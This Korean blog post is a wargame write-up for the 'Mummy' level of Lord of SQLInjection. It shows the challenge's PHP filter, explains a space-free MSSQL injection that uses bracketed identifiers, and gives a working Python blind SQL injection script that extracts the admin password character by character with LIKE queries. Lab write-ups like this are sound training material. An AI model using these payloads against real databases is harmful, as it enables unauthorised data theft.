워게임/Lord of SQLInjection
[Lord of SQLInjection] Mummy Write UP
작성자 - LRTK문제 코드
<?php
include "./config.php";
login_chk();
$db = mssql_connect("mummy");
if(preg_match('/master|sys|information|;|\(|\//i', $_GET['query'])) exit("No Hack ~_~");
for($i=0;$i<strlen($_GET['query']);$i++) if(ord($_GET['query'][$i]) <= 32) exit("%01~%20 can used as whitespace at mssql");
$query = "select".$_GET['query'];
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = sqlsrv_fetch_array(sqlsrv_query($db,$query));
if($result[0]) echo "<h2>Hello anonymous</h2>";
$query = "select pw from prob_mummy where id='admin'";
$result = sqlsrv_fetch_array(sqlsrv_query($db,$query));
if($result['pw'] === $_GET['pw']) solve("mummy");
highlight_file(__FILE__);
?>
공격 백터
- query
- pw
공격 백터에 대한 검증
- query :
master, sys, infomation, ;, (, /
필터링, 아스키코드 32 초과 사용 가능
코드 분석
$db = mssql_connect("mummy");
MsSQL 문제이다.
for($i=0;$i<strlen($_GET['query']);$i++) if(ord($_GET['query'][$i]) <= 32) exit("%01~%20 can used as whitespace at mssql");
이번 문제는 쿼리문 안에 공백을 사용하지 않고, SQLi 공격을 성공하라는 문제인 것으로 보인다.
$query = "select".$_GET['query'];
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = sqlsrv_fetch_array(sqlsrv_query($db,$query));
if($result[0]) echo "<h2>Hello anonymous</h2>";
필터링 및 공백 검사에 통과한 공격 백터 query는 select
와 합쳐지게 된다.
만약 쿼리문의 반환 값이 있으면 Hello anonymous가 출력된다.
이를 이용하여 True, False를 구별할 수 있다.
$query = "select pw from prob_mummy where id='admin'";
$result = sqlsrv_fetch_array(sqlsrv_query($db,$query));
if($result['pw'] === $_GET['pw']) solve("mummy");
두번째 쿼리문은 id가 admin인 pw를 반환하여, 공격 백터 pw와 비교하게 된다.
같으면 문제가 클리어된다.
문제 풀이
일단 쿼리문에서 컬럼은 []
사이에 넣어서 사용하면 공백이 없어도 구별이 된다는 것을 알고 있었다.
하지만 테이블 명도 컬럼처럼 구별이 되는지는 잘 몰라서 SQL Fiddle에서 테스트를 해봤다.
테스트를 해보니, 테이블 명도 컬럼처럼 []
사이에 넣으면 공백이 없어도 구별이 가능했다.
이제 admin의 pw을 파싱을 해야하는데, 문제는 (
이 필터링 되어서 함수를 사용이 불가능했다.
만약 MySQL에서 이런 조건이라면 LIKE ‘~~%’
로 pw을 파싱했을 것이다.
혹시나 해서 사용해봤더니, MsSQL도 LIKE가 사용이 가능했다.
나는 이를 이용하여 파이썬으로 pw 파싱을 시도하였다.
from SQLI import SQLI
import string
url = 'https://los.rubiya.kr/chall/mummy_2e13c2a4483d845ce2d37f7c910f0f83.php?'
cookie = '6f86kfnaerbikgtmorefsu7omn'
sqli = SQLI(url, cookie)
count = 0
pw = ''
while True:
check = True
for s in string.ascii_lowercase + string.digits:
query = f"query=[id]FROM[prob_mummy]WHERE[id]='admin'AND[pw]LIKE'{pw + s}%'"
result = sqli.pw_parsing(query)
if 'Hello anonymous' in result:
pw += s
print('pw >>>', pw)
check = False
break
if check:
count += 1
if check == 1:
break
아주 간단하게 pw을 파싱할 수 있었다.
파싱한 pw를 공격 백터 pw에 넣어서 서버로 보내니, 문제가 클리어됐다.
SQLI.py
import requests, time
class SQLI:
def __init__(self, url:str, cookie:str):
self.url = url
self.cookies = {'PHPSESSID' : cookie}
def pw_parsing(self, query:str):
response = requests.get(self.url + query, cookies=self.cookies)
return response.text
def timeBased(self, query:str):
start = time.time()
response = requests.get(self.url + query, cookies=self.cookies)
return response.text, time.time()-start
'워게임 > Lord of SQLInjection' 카테고리의 다른 글
[Lord of SQLInjection] Cerberus Write UP (0) | 2021.09.22 |
---|---|
[Lord of SQLInjection] Kraken Write UP (0) | 2021.09.21 |
[Lord of SQLInjection] Yeti Write UP (0) | 2021.09.19 |
[Lord of SQLInjection] Revenant Write UP (0) | 2021.09.18 |
[Lord of SQLInjection] Nessie Write UP (0) | 2021.09.18 |
Contents